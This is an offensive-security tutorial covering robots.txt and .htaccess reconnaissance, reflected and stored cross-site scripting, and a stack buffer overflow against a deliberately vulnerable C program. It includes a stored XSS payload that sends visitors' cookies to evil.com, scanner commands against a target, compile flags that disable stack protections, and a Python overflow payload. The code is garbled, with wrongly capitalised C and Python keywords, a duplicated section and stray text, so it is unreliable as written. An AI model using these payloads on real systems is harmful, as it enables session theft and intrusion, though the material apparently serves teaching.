Web Application Exploitation

---

1. `robots.txt` Exploitation

The `robots.txt` file is used by websites to instruct search engine crawlers about which parts of the site should not be indexed. Attackers can analyze it for sensitive directories.

Commands to Find `robots.txt`

- Using `curl`:
- `curl -s http://target.com/robots.txt`
- Using `wget`:
- `wget -qO- http://target.com/robots.txt`
- Using `Nikto` (automated scanner):
- `nikto -h http://target.com`

Exploitation Example

If `robots.txt` contains:

```
User-agent: *
Disallow: /admin/
Disallow: /backup/
```

An attacker might manually check `http://target.com/admin/` or `http://target.com/backup/` for sensitive files.

---

2. `.htaccess` File Exposure

The `.htaccess` file configures web server rules and might contain sensitive information like redirections, authentication details, or access control rules.

Finding `.htaccess` Files

- Using `dirb`:
- `dirb http://target.com/ /usr/share/dirb/wordlists/common.txt`
- Using `gobuster`:
- `gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x txt,php,html`
- Using `wget`:
- `wget http://target.com/.htaccess`

Exploitation Example

If an `.htaccess` file contains:

```
Redirect 301 /oldpage.html http://malicious-site.com
```

An attacker might modify or exploit this misconfiguration to redirect users to a phishing page.

---

3. Cross-Site Scripting (XSS) Exploitation

XSS occurs when user input is not properly sanitized, allowing attackers to inject malicious scripts into web pages viewed by others.

Testing for XSS (Reflected XSS Example)

- Inject a script in a vulnerable search box:
- `<script>alert('XSS')</script>`
- Using `curl` for testing:
- `curl -X GET "http://target.com/search.php?q=<script>alert('XSS')</script>"`
- Using `Burp Suite` to capture and modify requests for XSS payload injection.

Stored XSS Example

If a web form does not sanitize inputs, attackers might store a malicious script like:

```
<script>document.location='http://evil.com/steal?cookie='+document.cookie</sc
ript>
```

This steals users' cookies when they visit the affected page.

Automated XSS Scanning

- Using `XSStrike` (XSS vulnerability scanner):
- `python3 xsstrike.py -u http://target.com/vulnerable.php`
- Using `sqlmap` (sometimes detects XSS along with SQLi):
- `sqlmap -u "http://target.com/vuln.php?param=1" --level=5 --risk=3 --batch --tamper=xss.py`
    1. Buffer Overflow

What is Buffer Overflow?

A buffer overflow occurs when more data is written to a buffer (temporary memory storage) than it can hold, leading to memory corruption. If exploited, this can allow an attacker to execute arbitrary code.

Vulnerable C Program (buffer_overflow.c)

Save the following C code as buffer_overflow.c and compile it without protection:

C

```
#include <stdio.h>
#include <string.h>

Void vulnerable_function(char *input) {
   Char buffer[64];  // Fixed-size buffer (64 bytes)
   Strcpy(buffer, input);  // No boundary check!
   Printf("Received: %s\n", buffer);
}

Int main(int argc, char *argv[]) {
   If (argc < 2) {
      Printf("Usage: %s <input>\n", argv[0]);
      Return 1;
   }
   Vulnerable_function(argv[1]);
   Return 0;
}
```

Compile Without Protections

bash

```
gcc -fno-stack-protector -z execstack -o buffer_overflow buffer_overflow.c
```

- `-fno-stack-protector`: Disables stack protection.

- `-z execstack`: Allows execution on the stack (needed for shellcode injection).

Exploiting Buffer Overflow

1. Fuzzing Input

Try sending a large number of characters to see if the program crashes.

```
bash

python3 -c "print('A' * 100)" | ./buffer_overflow
```

If the program crashes, it's vulnerable!

2. Finding Offset (Using `gdb`)

Run the program inside `gdb`:

```
bash

gdb ./buffer_overflow
```

Set a breakpoint at `main`:

```
break main

run $(python3 -c "print('A' * 100)")
```

Check registers with:

```
Gdb

Info registers
```

If EIP (Instruction Pointer) is overwritten, you can inject shellcode.

Check registers with: ji

```
gdb

info registers
```

If `EIP` (Instruction Pointer) is overwritten, you can inject shellcode.

Buffer Overflow Exploit

The following Python script generates a payload to exploit the vulnerable program:

Python

```
Import struct

Buffer_size = 64
Return_address = struct.pack("<I", 0xdeadbeef)  # Replace with actual address
found in gdb
Payload = b"A" * buffer_size + return_address

Print(payload)
```

Run it:

```
bash
python3 exploit.py | ./buffer_overflow
```

This can redirect execution to an attacker-controlled memory location.